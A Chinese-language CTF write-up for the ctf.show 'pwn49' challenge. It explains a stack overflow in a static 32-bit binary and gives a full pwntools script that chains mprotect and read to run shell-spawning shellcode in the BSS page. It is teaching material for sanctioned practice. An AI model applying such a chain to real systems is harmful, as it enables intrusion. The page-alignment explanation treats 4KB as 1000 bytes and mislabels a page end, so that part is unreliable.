题目


看出是静态编译,考虑用mprotect来修改它的权限

ctrl+s查看bss段,找要修改的范围

因为mprotect的地址选择的限制条件
我们把页面边界定为0x80DA000
接着就可以构造payload了
先调用mprotect函数修改权限,再用read函数把后门函数读入这个位置
之后控制返回地址让程序回到这个地方执行后门函数
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * #p=process("./pwn49") context(arch = 'i386',os = 'linux',log_level = 'debug') #gdb.attach(p,"b*0x0000000000400737") p=remote( "pwn.challenge.ctf.show",28242) elf=ELF("./pwn49") edx_ecx_ebx=0x08056194 mprotect=0x0806cdd0 start=0x80DA000 read=elf.sym["read"]
payload=b'a'*(0x12+4)+p32(mprotect) payload += p32(edx_ecx_ebx) + p32(start) + p32(1000) + p32(7) payload+=p32(read)+p32(edx_ecx_ebx)+p32(0)+p32(start)+p32(1000)+p32(start) p.sendline(payload)
payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
|
(找pop_ret时只需要控制是pop了那三个寄存器就可以)
mprotect

mprotect 系统调用有严格的页面对齐要求:
- 起始地址必须是页面边界(4KB个字节的倍数)(4KB=1000字节)
- 长度会被向上舍入到页面边界
- 区间长度 len 必须是页大小的整数倍
假设你的 BSS 段开始于 0x80DB320,len长度为1000:
内存布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x80DA000 ┌─────────────────┐ ← 页面边界(4KB对齐)
│ 页面1 │
│ │
0x80DB320 ┌─────────────────┐ ← BSS段开始
│ BSS段 │
│ │
0x80DBFFF └─────────────────┘ ← 页面1结束
0x80DC000 ┌─────────────────┐ ← 下一个页面边界
|